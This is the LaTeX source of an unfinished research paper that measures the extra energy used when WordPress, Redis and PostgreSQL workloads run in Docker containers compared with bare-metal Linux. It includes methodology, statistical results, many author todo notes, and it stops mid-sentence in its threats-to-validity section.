``Idle'' means the system has been operating long enough to achieve a stable
state with nothing but the base operating system in operation, meaning that
none of the other services under test (PostgreSQL, Redis, MySQL, Apache) were
running, or were active in any way. When performing the Docker baseline, the
only difference is enabling the Docker background service. \textbf{Zero}
containers were running, so we measured the overhead of just the Docker daemon
itself.
Since time is fixed in this test, any difference in energy \emph{must} be due
to a difference in power consumption.
\subsection{WordPress}
\label{sec:wordpress}
\todo{Explain that DB folders are explicitly NOT mounted using AUFS!}
WordPress is an open-source content management system~\cite{wordpress}. As of
February 2017, Docker Hub has had over 10 million WordPress
pulls~\cite{docker_hub_2016} and WordPress powers over one quarter of the top
10 million websites worldwide~\cite{w3techs_2016}.
We installed WordPress manually for the bare-metal Linux version, as per the
WordPress official documentation~\cite{wordpress_install}. We used Docker
Compose~\cite{docker_compose_2016} for installing WordPress within Docker.
Both methods installed the same versions of WordPress, MySQL, PHP, and Apache,
as listed in Table~\ref{tab:software}. On the bare metal system, MySQL and
Apache ran as services. Docker required two containers: one container held
Apache, which runs WordPress with \texttt{modphp}, while another contained
the MySQL database. These were automatically setup and connected using Docker
Compose. We generated a blog using the WP Example Content Plugin
1.3~\cite{wp_example_content_2016}, whose database was copied both into the
bare-metal installation and the Docker installation.
We used Tsung 1.6.0\cite{tsung} to perform an HTTP load stress test on the
WordPress server for which the test runner was monitoring energy usage. Tsung,
running on the test runner, created virtual clients that simulate a large
number of users visiting the WordPress front page and randomly navigate the
site. Each test was exactly 15 minutes long. Starting from no load, the test
added 100 simulated users per second. Each user loaded the WordPress homepage
content, which in turn required database queries in order to retrieve the
posts and other content. We performed the full test 40 times sequentially, in
order to produce 40 energy samples, with 2 minutes of idle time between tests
to ensure accuracy of the energy measurements.
\subsection{Redis}
\label{sec:redis}
Redis is an open-source, in-memory key store that can be used as a database,
cache, or message broker~\cite{redis_2016}. As of February 2017, Docker Hub
has had over 10 million Redis pulls~\cite{docker_hub_2016}. We chose the Redis
to test the overhead of a workload that is predominantly memory, CPU, and
network bound (it does minimal accesses to storage).
Redis was installed in Docker with the version specified in
Table\ref{tab:software}. On bare-metal Linux, Redis was built from source. For Docker,
we used the official image to build a single container which held the Redis
server. The official image
downloaded from Docker Hub disables periodic persistence of the in-memory
database to permanent storage, hence we disabled this on the bare-metal
configuration as well.
The Redis benchmark suite, \texttt{redis-benchmark} was used to create a
workload of 1000 parallel clients making a total of 1.5 million requests. This
involves a great deal of network traffic from the server running the clients,
as well as doing a large amount of memory accesses. We ran the full test 40 times sequentially, which
produced 40 energy samples, with two minutes of idle time between each sample.
\subsection{PostgreSQL}
\label{sec:postgres}
\todo{Explain that DB folders are explicitly NOT mounted using AUFS!}
PostgreSQL is an open-source, object-relational database management system
(DBMS)~\cite{postgresql}. As of February 2017, PostgreSQL has been pulled over
10 million times~\cite{docker_hub_2016}.
PostgreSQL includes \texttt{pgbench} for performance benchmarking. PostgreSQL
was installed on both the SUT and test runner servers with the version
specified in Table~\ref{tab:software}. On bare-metal Linux, we ran PostgreSQL
as a service, while Docker held the database processes in a single container.
It is important to note that the Ubuntu 16.04 version enables SSL by default
whereas the Docker install does not. We accounted for this by disabling SSL in
the bare-metal Linux PostgreSQL installation. We also ran a test on the
bare-metal configuration with SSL enabled, to compare the overhead of Docker
against the overhead of encrypting queries. In Docker, the default PostgreSQL
image creates a volume mounted on the host (i.e., escaping the container) for
persisting data. Thus, writes do not access Docker's AUFS storage layer.
The test consisted of running \texttt{pgbench} on the test runner with 50
clients, each peforming 1000 database transactions on the SUT of ``a scenario
that is loosely based on TPC-B''~\cite{pgbench,TPC-B}. We performed 40
sequential tests to produce 40 energy samples. Before each test, we ran
\texttt{pgbench -i} to initialize the database, then waited for two minutes of
idle time before starting the test proper. The entire test was performed for
both bare-metal Linux and Docker.
\section{Conclusion}
\label{sec:conclusion}
In this paper, we compared the energy consumption of various workloads running
within Docker-managed containers and on ``bare-metal'' Linux.
After almost 2 days and 20 hours of total time collecting power measurements, we
found that, in all cases, workloads running in Docker have a measurable
energy overhead.
Simply running \texttt{dockerd} idle induces a 2 watt difference in average
power, and thus an increase in energy over time.
However, the increase in energy consumption may mostly be attributed
to runtime
performance. In the case of Redis and WordPress, the increase in
energy can be attributed to increase in runtime---thus the decrease in
performance explains the increase in total energy consumption.
Operations teams must decide which is more important: sustainability
and energy consumption and run-time performance of reduced resource usage by employing
bare-metal Linux, or the process isolation and maintainability of
containerized applications of Docker. Saving on heat and energy is
important for some scenarios, yet the human cost of maintenance can
far exceed run time, energy, and heating costs of Docker's minor inefficiency.
\todo{%
make this sentence better: It is up to the operations team to judged
whether easier deployment is worth the energy and performance overhead
}
\section{Discussion}
\label{sec:discussion}
\newcommand{\unixwrite}{\texttt{write()}}
\todo{Concretely express the difference between Docker and not Docker in
kilowatt hours, or even in cash money. Talk about monthly operating costs.}
\todo{Mention how Docker uses crazy AUFS mounts to support writing to a
read-only file system.}
\todo{Cite~\cite{docker-aufs}: ``the AUFS storage driver can introduce
significant latencies into container write performance''. This is due to COW.}
\todo{Also from~\cite{docker-aufs}: ``Data volumes provide the best and most
predictable performance. This is because they bypass the storage driver and do
not incur any of the potential overheads introduced by thin provisioning and
copy-on-write''.}
Figure~\ref{fig:idle-energy} shows that having the Docker service running
consumes significantly more energy at idle than without Docker. The
\texttt{dockerd} background process explains the difference in energy
consumption. Recall that Docker is \emph{not} required for containerization;
rather, Docker provides a convenient infrastructure for running containerized
applications in Linux. However, \texttt{dockerd}, the Docker server,
written in the Go programming language periodically wakes up to do work, even
if it is managing zero active containers. Using \texttt{perf top -p \$(pgrep dockerd)}
we found that the \texttt{dockerd} was periodically calling functions related
to scheduling and garbage collection in Go (e.g.,
\texttt{run\-time.find\-runnable}, \texttt{run\-time.scan\-object},
\texttt{run\-time.heap\-Bi\-ts\-For\-Object}, \texttt{run\-time.grey\-object}).
\todo{explain WordPress}
A possible service deployment strategy is to create virtual networks wherein
each microservice is in its own container. Only public-facing services (of
which there should be few) will be required to use any kind of
per-connection encryption, as provided by SSL/TLS\@. Our results show that,
while PostgreSQL in Docker uses more energy compared to the same configuration
in Linux, the effect is not very large compared with running PostgreSQL on
Linux with encryption turned on. In that case, running PostgreSQL within
containers, with unencrypted inter-container communication may actually be
a more energy efficient option.
\todo{Redo Redis strace}
Using \texttt{strace -c}, we measured the time spent in system calls running
the \texttt{redis-bench} application. We found that in both bare-metal Linux and
in Docker, the Redis server was mostly calling \unixwrite\ (about 82\%
of all system calls). A 32--39 second benchmark induced around 1.7 million
\unixwrite\ system calls. The notable difference is that the Redis server
running within a Docker container spent more than twice as long doing writes
(93.94 milliseconds) versus running the server on bare-metal Linux (44.08
milliseconds spent in \unixwrite). This explains a small part of the
longer runtime on Docker (and thus higher energy consumption), though it does
not come close to explaining the large gap in run time.
\section{Future Work}
\label{sec:future-work}
\todo{Write any and all future work.}
\section{Introduction}
\label{sec:introduction}
\emph{Virtualization} provides a number of benefits when deploying
software, such as process isolation and resource control.
Process \textbf{isolation} means that software developers can make strong
assumptions about the state of the system, including the operating system
configuration, and having the exact software dependencies needed for the
system.
Virtualization often allows for \textbf{resource control} such that
operators can configure precisely how much CPU, memory, or access to network
interfaces a particular application has. Virtualization platforms often use
\emph{images}, snapshots of the complete system needed to run an application,
thus deploying an app is as easy as instantiating an image.
Traditionally, virtualization has been implemented through \emph{virtual
machines}, in which one machine may host several guest operating systems.
However, the intervention of the hypervisor,\footnote{%
We use the term hypervisor for any virtual machine monitor that is hosted
on top of an existing operating system, or is a module of the host
operating system kernel, such as KVM~\cite{KVM}.
} means that applications effectively must use two kernels---directly through
the guest operating system, and indirectly through the hypervisor---when
accessing resources such as network and storage. This may be considered an
undesirable overhead.
This prompted the need for a low overhead virtual machine.
Recently, sophisticated features in the Linux
kernel---namely, namespaces and control groups---made a new form of
low overhead virtualization possible: \emph{containerization}.
Containers are a lightweight alternative to virtual machines, as they offer
isolation (processes, file-system, network) and resource control (CPU,
memory, disk) without the overhead of an additional
kernel.
Container management software such as Docker\cite{what_docker}, LXC~\cite{LXC}, and
\texttt{rkt}~\cite{rkt}, are quickly displacing virtual machines as the
virtualization solution of choice~\cite{docker_adoption,clusterhq_survey}.
Given
the blistering pace of the adoption of containerization, what is the
impact of containerization on energy consumption?
Changes in software have significant and
measurable differences in power and energy
consumption~\cite{hindle_green_2012,zhang_accurate_2010,ellis_case_1999,vasic_making_2009,gupta_detecting_2011}.
Since containerization, in principle, lacks the overhead of virtual machines,
clearly it should consume a similar amount of energy as a bare-metal
configuration.
In this paper, we empirically test this assumption against numerous
measured workloads, run with and without containerization.
In practice,
container providers such as Docker \emph{do} add additional overheads, such as
the AUFS file system, and an abstracted networking layer. We seek to quantify
the impact that these overheads have on energy efficiency. We compare
the energy consumption of various scenarios run on bare-metal Linux---that is,
the applications are running on one kernel, without any virtualization at
all---in contrast to Docker-managed containers, using ``off-the-shelf'' Docker
images. We use total system power consumption (or ``wall power'') to
estimate total energy consumption. We run several iterations of each
experiment, the results of which we present and explain why we see differences
in energy consumption between bare-metal Linux and Docker.
This work suggests that there is no free lunch for containerization in terms of
energy consumption. Containerization implies a trade-off between energy and
maintainability, and it is up to the individuals or teams in charge of deployment
to determine which is more costly in their particular scenario.
\section{Methodology}
\label{sec:methodology}
\begin{figure}[tbh]
\includegraphics[width=\columnwidth]{setup-paper}
\caption{Hardware test setup: one rack-mount server
System-Under-Test; and one test-runner. Power
measurements were collected with a \textsc{Watts Up?\ pro}{}.\label{fig:setup}
}
\end{figure}
We want to compare the energy consumption of running a workload within a
Docker-managed container (the treatment) against running the same workload
on ``bare-metal'' (the control).
To estimate the energy consumption of one workload, we ran one server (the
\emph{system-under-test} or SUT) with the software of interest; we ran an
external system to initiate tests on the SUT and record the power measurements
(the \emph{test runner}); and we used a \emph{power meter} to measure the
instantaneous power consumed by the SUT.\@ We setup the systems to run the
desired software---either starting the service (bare-metal Linux) or start a
new container (Docker) that has already been built. We then initiated the tests on the test runner, which
would induce a workload on the SUT after a two minute pause. During the test
run, we collected root-mean-squared (RMS) power measurements, and recorded them. We used the
power measurements to estimate the total energy consumption
on the SUT in two scenarios:\@ the software running on bare-metal Linux versus the
software running within a Docker container.
Importantly, the System-Under-Test is \textbf{not} the same machine as the
test runner; thus initiating the tests (test runner) is isolated from test execution (SUT).
Therefore, a separate server is used as the test runner for both
initiating tests and recording energy usage statistics from the power meter.
This section describes the hardware and instrumentation we used to run tasks
and collect power samples. An overview of our full setup is provided in
Figure~\ref{fig:setup}. Our hardware setup consisted of a rack-mount server as
our System-Under-Test (Section~\ref{sec:sut}), a digital power meter
(Section~\ref{sec:wattsup}) to collect power samples, and a test runner
(Section~\ref{sec:runner}) to initiate the workloads.
\subsection{System-Under-Test}
\label{sec:sut}
The System-Under-Test (SUT) is a Dell PowerEdge R710 rack-mount server. A
summary of its hardware is listed in Table~\ref{tab:hardware}. Although the
R710 is intended to be used with redundant power supplies, multiple network
interfaces, and redundant RAID storage, we only utilized one power supply, one
network interface (a gigabit Ethernet connection), and one hard drive for our tests.
The 2 Intel Xeon X5670s contain 6 cores each, totalling 12 real cores,
and with hyper-threading enabled they appear as 24 logical processors to Linux.
A summary of the software installed is listed in Table~\ref{tab:software}.
Docker was installed on the System-Under-Test. For bare-metal versions of Apache,
PHP, WordPress, MySQL, and PostgreSQL, we used \texttt{apt-\-get}.
Redis was installed from source on bare-metal Linux. All of the Docker application
software ran within Docker-managed containers. When installing software on Dock\-er, we used the official image hosted on Docker
Hub\cite{docker_hub_2016}. Note that the WordPress image
inherits from the \texttt{php:5.6-apache} image, which installs both PHP and
Apache. Hence, the only image we had to explicitly install was the one
containing WordPress.
\begin{table}[tbp]
\resizebox{\columnwidth}{!}{%
\begin{tabular}{ll}
\toprule
CPU & 2$\times$Six-core Intel Xeon X5670 at 2.93 GHz \\
RAM & 72 GiB ECC DDR3 \\
Network & Gigabit Ethernet connection \\
Storage & 146GB SAS hard drive at 15000 RPM \\
Power supply & 870 Watts (120 volts $\sim$ 12A at 60 Hz) \\
\bottomrule
\end{tabular}
}
\caption{Hardware configuration of the System-Under-Test and the test runner.}
\label{tab:hardware}
\end{table}
\begin{table}[tbp]
\resizebox{\columnwidth}{!}{%
\begin{tabular}{lll}
\toprule
Software & Version & Docker Image \\
\midrule
Distribution & Ubuntu Server 16.04.1 LTS & \\
Kernel & Linux 4.4.0 & \\
Docker & 1.12.1 & \\
Apache & 2.4.10 & php:5.6-apache \\
PHP & 5.6.24 & php:5.6-apache \\
MySQL & 5.7.15 & mysql:5.7.15 \\
WordPress & 4.6.0 & wordpress:4.6-apache \\
Redis & 3.2.3 & redis:3.2.3 \\
PostgreSQL & 9.5.4 & postgres:9.5.4 \\
\bottomrule
\end{tabular}
}
\caption{Software versions used on the System-Under-Test}
\label{tab:software}
\end{table}
\subsection{Power measurements}
\label{sec:wattsup}
This paper focuses on comparing the energy required to perform several tasks.
However, we cannot measure energy directly. Instead, we measured the
instantaneous wall power drawn by the System-Under-Test. For this, we used a
\textsc{Watts Up?\ pro}{}~\cite{wattsup_pro} power meter.
The \textsc{Watts Up?\ pro}{} is a device with a Type B AC power socket. It samples the
voltage and current draw of the electrical appliance plugged into its socket.
Since power is voltage multiplied by current, the meter can report the
instantaneous power usage of an electrical appliance---in our case, a
rack-mount server as our System-Under-Test. Since we are interested in the
total power usage of the entire system---including the CPU, but also memory,
storage, network interfaces, peripherals, internal cooling, and even overhead
due to the power supply---we opted to measure wall power, instead of using
onboard measurement, such as Intel's RAPL for measuring CPU power usage alone.
The \textsc{Watts Up?\ pro}{} calculates the root-mean-square (RMS)\todo{explain why RMS?} of
thousands of samples over the course of one second~\cite{wattsup_vernier}.
Previous work by McCullough~\etal{mccullough_evaluating_2011} found that
collecting RMS measurements at a frequency of one measurement per second from
a \textsc{Watts Up?} power meter is sufficient for accurate energy consumption
estimation~\cite{mccullough_evaluating_2011}.
We used a modified version of \texttt{yyongpil}'s
\texttt{wattsup}\footnote{\url{https://github.com/yyongpil/wattsup}} software to
retrieve the power measurements from the \textsc{Watts Up?\ pro}{} and save them on the
test runner. Every second, the wattage used by the System-Under-Test is pulled
from the \textsc{Watts Up?\ pro}{}, transferred over USB to the test runner, and then written
to \texttt{std\-out}. Collection scripts on the test runner controlled the test runs for
each of our case studies and recorded measurements for each test run in order
to gather power data along with timestamps. This information was saved to a
local SQLite3 database on the test runner.
\todo{Should I really explain why AC power is RMS averaged? I mean,
power is a function of current, which is ALTERNATING polarity}
However, power is not energy. Energy is the integration of power over time.
The \textsc{Watts Up?\ pro}{} yields RMS power samples of one second in
duration---several measurements of instantaneous power averaged over one
second. Given an initial timestamp ($t_i$) and an end timestamp ($t_f$), we
can use the sum of power samples to estimate the energy required to complete a
task. We approximated energy using a sum of power samples, taken at a regular
frequency. This is analogous to using the rectangle method of approximating an
integral with a duration $\Delta t$ of 1 second (Equation~\ref{eqn:energy}).
\begin{equation}\label{eqn:energy}
E = \int_{t_i}^{t_f} P(t)\,dt
\approx \Delta t \sum_{k=i}^{f} P_{RMS}(t_k)
\end{equation}
We wrote Python scripts that implemented the above estimation, taking in test
data from the SQL\-ite\-3 databases on the test runner, which had power in watts
with timestamps. Each timestamp was asserted to be about one second apart,
thus making our estimation valid. The summation produces an estimate of the
total energy consumed for a single run of a test. We considered each test run
to be one energy sample. We ran each test 40 times, giving us 40 energy
samples per case study per configuration.
\todo{Explain why multiple tests? Cite Green Mining, probably}
Before each test run, we had the machine sleep for two
minutes to reset the machine to its idle run state, as
Chowdhury~\etal{chowdhury_client-side_2016} discovered that running tests in
quick succession may alter the power state of the machine, artificially
skewing results. These energy summaries are then compared, grouped by case
study, for bare-metal Linux versus Docker.
\subsection{Test Runner}
\label{sec:runner}
For initiating the tests and recording the power samples, we used a Dell
PowerEdge R710 rack-mount server, identical in hardware specification and
configuration as the SUT.\@ We wrote collection scripts in Python that
initiate the tests (described in Section~\ref{sec:case-study}) on the
System-Under-Test through network requests, while simultaneously recording
energy statistics from the \textsc{Watts Up?\ pro}{} via USB with yyongpil's
\texttt{wattsup}. We recorded timestamps for every power sample.
For each experiment:
\begin{enumerate}
\tightlist%
\item We started the service on the System-Under-Test (if applicable). In Docker,
we started one or more new containers from their respective Docker images.
\item On the test runner, we initiated a batch of test runs.
\item For each test run, the test runner optionally performed a per-test initialization.
\item The test runner would then sleep for two minutes.
\item The test runner then induced a workload on the Sys\-tem-Under-Test via
network requests.
\item During each test run, the test runner recorded the instantaneous power
measurements of the SUT and the timestamp every second.
\item After all test runs from a batch have finished, we calculated the
energy per each test run.
\end{enumerate}
The test runner was connected to the System-Under-Test via a gigabit switch.
\section{Prior Work}
\label{sec:related-work}
\label{sec:prior-work}
Previous work has focused on \emph{virtual machine} power and energy
consumption.
Xu~\etal{xu_energy_2015}
measured CPU and total power usage in both Xen and KVM hypervisors. They found
that Xen generally has a greater power overhead than KVM when processing
network traffic, attributed to ``excessive interrupt requests''.
They found that as the load is more evenly distributed among
virtual machines, power consumption increases. This paper elaborates on
the effect of Docker on network energy consumption.
Some work has compared virtual machines to containers directly.
Morabito~\cite{morabito_power_2015} compared the power usage of traditional
virtual machine hypervisors (KVM, Xen) to container based virtualization
(Docker, LXC). In all cases, the container style virtualization used
marginally less power, but overall neither virtualization method showed
significant difference. Morabito did not consider runtime differences, hence
this work cannot make conclusions about overall energy consumption. Further, there
was no comparison to bare-metal Linux performance. Both of these concerns are
addressed in our work.
Van Kessel~\etal{van2016power} used internal hardware sensors to determine the
difference in power consumption of Xen against Docker. They found that
Docker is more efficient on CPU-bound and disk bound loads. In contrast, our
work compares against bare-metal Linux measuring wall power instead of
internal power sensors to quantify the abstractions provided
by Docker.
Shea~\etal{shea_power_2014} compared the power consumption of network transactions
using virtualization such as KVM, Xen, and OpenVZ, in contrast to a bare-metal
system. Only OpenVZ can be considered container-based virtualization. They
measured both wall power and CPU power using Intel's Running Average Power
Limit (RAPL). The authors found that power measured through RAPL was
always a fraction of the measured wall power. They found a difference in the
power overheads of network transactions on different virtualization platforms.
However, they concluded that the overheads were tunable.
Our work concentrates only on Docker's container-based virtualization. We
measure wall power only, because we wanted to capture the total system power
usage. Additionally, we measured more scenarios than just network transactions.
Other work has evaluated container performance metrics such as run time, CPU
usage, and network utilization.
Felter~\etal{felter_updated_2015} compared CPU, memory, I/O, and network
performance of Docker and KVM against bare-metal Linux. In most cases, Docker
adds little overhead, and almost always outperforms KVM\@.
They also tried sample loads on Redis and MySQL\@. They found that, in some
cases such as the Redis example, Docker performs comparably to bare-metal when
configured appropriately. The authors found that Docker's UnionFS file system
abstraction has negative performance penalties compared to a standard Linux
file system. In contrast, our work directly measures energy consumption of
running similar benchmarks, both on bare-metal Linux compared to within a
Docker container.
In general, quicker runtime is correlated with lower energy consumption;
however, power must also be measured alongside with performance to observe the
overall energy consumption of a task.
\todo{Cite~\cite{Ruan2016}}
\todo{Summarize}
\todo{Relate to our work}
\todo{maybe don't immediately compare against papers and make a
summary at the end of why this work is different to save space}
\todo{Cite Felter for this later: They found that using UnionFS has a negative performance penalty than using the native filesystem. Given this paper's findings, we make the following hypothesis about Docker's impact on energy usage: most CPU and memory-bound loads on Docker will use roughly the same energy as on native Linux; that loads that hit storage will use significantly more energy than on native Linux alone; and, without special configuration, loads heavy on networking may use more energy than on native Linux.}
\section{Results}
\label{sec:results}
\newcommand{\multicolumn{2}{c}{Effect Size}}{\multicolumn{2}{c}{Effect Size}}
\newcommand{\multicolumn{2}{c}{Correlation ($r_{Et}$)}}{\multicolumn{2}{c}{Correlation ($r_{Et}$)}}
\begin{table}[tbp]
\resizebox{\columnwidth}{!}{%
\begin{tabular}{ ll *{4}{r} }
\toprule
Case Study & Normal & \multicolumn{2}{c}{Effect Size}\ & \multicolumn{2}{c}{Correlation ($r_{Et}$)}\ \\
\cmidrule(r{0.25em}){3-4} \cmidrule(l{0.25em}){5-6}
& & Cliff's $d$ & Cohen's $d$ & Linux & Docker \\
\midrule
Idle & No & 0.80 & & & \\
WordPress & No & 1.00 & & 0.83 & 0.99 \\
Redis & Yes & & 11.31 & 0.98 & 0.98 \\
PostgreSQL & Yes & & 1.55 & 0.99 & 0.95 \\
\bottomrule
\end{tabular}
}
\caption{%
Summary of results obtained for each experiment. ``Correlation'' refers to
the linear correlation between estimated energy with the elapsed time of
the test run. Note: for the ``idle'' experiment, calculating correlation
of energy with run time does not make sense because the elapsed time is
fixed.
}\label{tab:results}
\end{table}
After collecting all power samples, estimating energy per each test run, we
ran some statistical analyses on the results to determine whether there is a
significant difference in energy consumption to run a task on bare-metal Linux
compared to a Docker container. A summary of our results is given in
Table~\ref{tab:results}. Our raw data is available online.\footnote{%
Available: \url{https://archive.org/details/docker-linux-energy-feb-2017.sqlite3}
}
First, we determined whether both energy samples on Linux and on Docker were
normally distributed using the Shapiro-Wilk normality test. Then, we applied
various tests to determine if both samples came from the same distribution.
For normally-distributed data, we used a paired Student's $t$-test.
Otherwise, we applied non-parametric tests: a Kruskal-Wallis rank sum test,
and a pairwise Wilcoxon rank sum test. In all two sample experiments, we
found that the difference in distributions of energy consumption in Docker
compared with Linux was statistically significant, with a $p$-value near
zero,\footnote{%
If the $p$-value is less than $10^{-4}$ (and thus, was only expressed using
exponential notation), then we considered it to be ``near zero''.
} no matter which test we used. To quantify the difference, we calculated the
effect size. For all tests, we used Cliff's delta, which simply compares how
often samples from one distribution are greater than samples in the other
distribution. As shown in Table~\ref{tab:results}, for the WordPress and Redis
experiments, the distributions from Docker are all greater than the observations
from Linux with a maximum Cliff's delta of $1.0$. The other two experiments
also had large effect size, according to Cliff's delta, with small overlaps in
distributions. Finally, we calculated the linear correlation,
Pearson's correlation coefficient, of energy with run
time. Recall that energy is $\text{power} \times \text{time}$. Thus, energy
should be strongly correlated with time (an $r$ value of $+1.0$). In every
case, we found that energy was strongly correlated with time, however, since
the $r$ value of each test was not exactly $1.0$, we assert that other factors
must be influencing the total energy rather than energy being
completely explained by run time.
\todo{Explain how we will present the data: explain Violin plots, density
plots. What are the lines?}
The results are presented in two ways: summaries of the energy data is
presented in \textbf{violin plots} (Figures \ref{fig:idle-energy}, \ref{fig:wordpress-energy}, \ref{fig:redis-energy}, \ref{fig:postgres-energy})
which can read somewhat like box plots where each ``violin'' represents one
distribution. The width of the violin at any given point represents the
density of measurements observed at that point. To give a sense of tendency,
a line is drawn at the median of the sample distribution.
Summaries of the power data are given as \textbf{density plots} (Figures \ref{fig:idle-power}, \ref{fig:wordpress-power}, \ref{fig:redis-power}, \ref{fig:postgres-power}),
with hexagonal bins. Each bin represents a cluster of observations at the
given time and wattage. Darker hexagons represent a denser concentration of
observations.
\subsection{Idle}
\begin{figure}[tbp]
\centering
\includegraphics[width=\columnwidth]{idle-energy}
\caption{Violin plot of idle energy consumption}
\label{fig:idle-energy}
\end{figure}
\begin{figure*}[tbp]
\centering
\includegraphics[width=\textwidth]{idle-power}
\caption{Density plot of wattage measurements across all idle test runs over
time.}
\label{fig:idle-power}
\end{figure*}
\todo{Power plots: give standard deviation of Linux and docker measures}
The distribution of energy consumption with no load for 10 minutes is given as
a violin plot in Figure~\ref{fig:idle-energy}. A density of power is provided
in Figure~\ref{fig:idle-power}. Using the Shapiro-Wilk test, we found that
neither the bare-metal Linux nor the Docker distributions are
normally-distributed. Using the non-parametric Kruskal-Wallis test and
pairwise Wilcoxon rank sum test, we obtained a $p$-value close to zero,
indicating that the distributions are indeed different. Using Cliff's delta,
we got an effect size of $0.80$, indicating that values in the Docker
distribution are nearly $80\%$ likely to be greater than an observation in the
bare-metal Linux distribution. Another way to think about this difference, is
that three-quarters of the time, we observed that running on bare-metal Linux
with no load would use less than 63,380 joules of energy, whereas if simply
the Docker daemon was running (with no containers running), three-quarters of
time we would observe the machine consuming \emph{more than} 63,380 joules of
energy for doing \emph{nothing} for ten minutes. This energy difference cannot
be attributed to performance, since time is fixed to 10 minutes in both cases.
This baseline establishes that, since the Docker daemon is an unavoidable
service that must run---regardless if containers are running or not---running
Docker comes with a power overhead. Whether this difference in energy
consumption over time is negligible is for operators to decide, however, later
we describe how to make back the difference in energy consumption.
\todo{%
Say we can regain the energy lost here in other scenarios such as the
PostgreSQL case.
}
\todo{How much money will I spend per month simply running the Docker daemon?
Compare this to leaving on a 40W light bulb for the same amount of time.
}
\subsection{WordPress}
\begin{figure}[tbp]
\centering
\includegraphics[width=\columnwidth]{wordpress-energy}
\caption{Violin plot of energy consumption in the WordPress experiment}
\label{fig:wordpress-energy}
\end{figure}
\begin{figure*}[tbp]
\centering
\includegraphics[width=\textwidth]{wordpress-power}
\caption{Density plot of wattage measurements across all WordPress runs over
time.}
\label{fig:wordpress-power}
\end{figure*}
The distribution of energy consumption for running a simulated load on a
WordPress server under Linux and within Docker is shown in
Figure~\ref{fig:wordpress-energy}. A density of power is provided in
Figure~\ref{fig:wordpress-power}. Using the Shapiro-Wilk test, only the
distribution of energy consumption under bare-metal Linux was
normally-distributed; hence, we used non-parametric tests for comparison and
effect size. Both the Kruskal-Walis and pairwise Wilcoxon rank sum test
yielded a $p$-value near zero, meaning that the distributions are
significantly different. For effect size, we computed a Cliff's delta of
$1.0$, implying completely non-overlapping distributions. In other works,
\emph{all} samples in the Docker test runs were higher than all samples in
bare-metal Linux. Finally, the linear correlation of energy and run time for
bare-metal Linux and Docker were of $0.8303$ and $0.9885$ respectively.
\subsection{PostgreSQL}
\begin{figure}[tbp]
\centering
\includegraphics[width=\columnwidth]{postgres-energy}
\caption{Violin plot of energy consumption in the PostgreSQL test}
\label{fig:postgres-energy}
\end{figure}
\begin{figure*}[tbp]
\centering
\includegraphics[width=\textwidth]{postgresql-power}
\caption{Density plot of wattage measurements across all \texttt{pgbench} runs
over time.}
\label{fig:postgres-power}
\end{figure*}
For this test, we had three energy consumption distributions: bare-metal Linux,
with SSL disabled; bare-metal Linux, with SSL enabled; and Docker, with SSL
disabled. Not only are we testing the difference between Docker and
bare-metal, but we are also introducing the difference between encrypting
connections on bare-metal as well.
The three energy distributions are shown in
Figure~\ref{fig:postgres-energy}. A density of power is provided in
Figure~\ref{fig:postgres-power}. Using the Shapiro-Wilk test, we determined
that all three samples are normally distributed, with the smallest $p$-value
being $0.54$ for the Docker energy distribution. Thus, we used pairwise
paired Student's $t$-tests to compare each distribution to the others.
The baseline (Linux with SSL disabled) is significantly different, both to
Docker with SSL disabled, and with Linux with SSL enabled, with $p$-values
near zero. Interestingly, Docker with SSL disabled is \textbf{not} significantly
different compared to Linux with SSL enabled, with a $p$-value of 0.15. This
implies that the trade-off between encrypting connections with SSL is similar
to the trade-off between using Docker without encryption.
To understand the effect size, we used Cohen's $d$. Cohen's $d$
compares the means of the two normally-distributed samples, taking in to
account their pooled standard deviation to determine the
offset~\cite{cohens_d}. Larger results indicate a larger difference in the means.
Comparing PostgreSQL with SSL disabled on bare-metal Linux versus
the same configuration in Docker yields a very large Cohen's $d$ of $1.55$. However,
\todo{Elaborate on this:}
simply turning on SSL on bare-metal Linux, testing against Docker with SSL
disabled yields the smallest effect size obtained in this paper: $0.31$.
This corroborates the findings of Chowdhury
\etal{chowdhury_client-side_2016} that simply using SSL/TLS
has a significant effect on energy consumption. The difference
between bare-metal Linux versus enabling SSL on the same configuration also has
a large effect size, with Cohen's $d$ calculated to be $1.32$.
\subsection{Redis}
\begin{figure}[tbp]
\centering
\includegraphics[width=\columnwidth]{redis-energy}
\caption{Violin plot of energy consumption running the Redis benchmark.}
\label{fig:redis-energy}
\end{figure}
\begin{figure}[tbp]
\centering
\includegraphics[width=\columnwidth]{redis-time}
\caption{Violin plot of elapsed time running the Redis benchmark.
Elapsed time may explain the difference in energy (Figure~\ref{fig:redis-energy})
}
\label{fig:redis-time}
\end{figure}
\begin{figure*}[tbp]
\centering
\includegraphics[width=\textwidth]{redis-power}
\caption{Density plot of wattage measurements across all Redis Benchmark runs over
time.}
\label{fig:redis-power}
\end{figure*}
The distribution of energy consumption for running \texttt{re\-dis-\-bench} on Linux
and within Docker is shown in Figure~\ref{fig:redis-energy}. A density of
power is provided in Figure~\ref{fig:redis-power}. Using the Shapiro-Wilk
test, both samples are normally-distributed. We compared
the distributions using a Student's $t$-test and obtained $p$-values near
zero. Using Cohen's $d$, we obtained a huge effect
size of $11.31$. Thus, this experiment shows the greatest difference between running in Docker
versus running on bare-metal Linux.
The linear correlation of energy with time yielded $0.996$ and $0.995$ for
Linux and Docker, respectively. Given the very high correlation of energy
with time, we also compared the amount of time it took to complete each test
(Figure~\ref{fig:redis-time}). Since elapsed time is greater under Docker,
energy consumption will be greater, unless the power used in Docker is
drastically lower, which is not the case (Figure~\ref{fig:redis-power}).
\section{Threats to validity}
\label{sec:tov}
\paragraph{Construct validity} In general, using benchmark frameworks does not
necessarily model real usage of the applications. This is especially true when
there has been no investigation in to what a realistic typical usage of these
applications would be, as was the case here. Future work should start by
discovering what is representative of typical usage for each of the test cases
(a profile), or benchmark using real world data and actions, if at all
possible.
Docker has a number of configuration options concerning networking and the
file system. Likely, any administrator deploying Docker in production would
tweak these settings extensively. As such, our usage of ``off-the-shelf'' defaults
(deploying straight from the Docker Hub image using a command like \texttt{docker run postgres:latest})
is not representative of true deployments using Docker.
Each of the studied applications was only serving a single host. Each
benchmarking tool provided support for simulating multiple clients, and these
features were used in all tests. The quality of the multiple simulated clients
from a single client when compared to real-world users is unknown and so may not
realistically stress the applications. Furthermore, the servers were only using a
single gigabit Ethernet connection, where real deployments may see multiple
network connections sharing the load of requests.
\paragraph{Internal validity} One may call into question the precision and
reliability of the power measurements obtained from the \textsc{Watts Up?\ pro}{}. Another
threat to validity is that we left services such as \texttt{OpenSSH} and
\texttt{OpenVPN} running on the System-Under-Test, whose power usage is also
included in all of the power measurements. Thus, the \emph{exact} numbers may
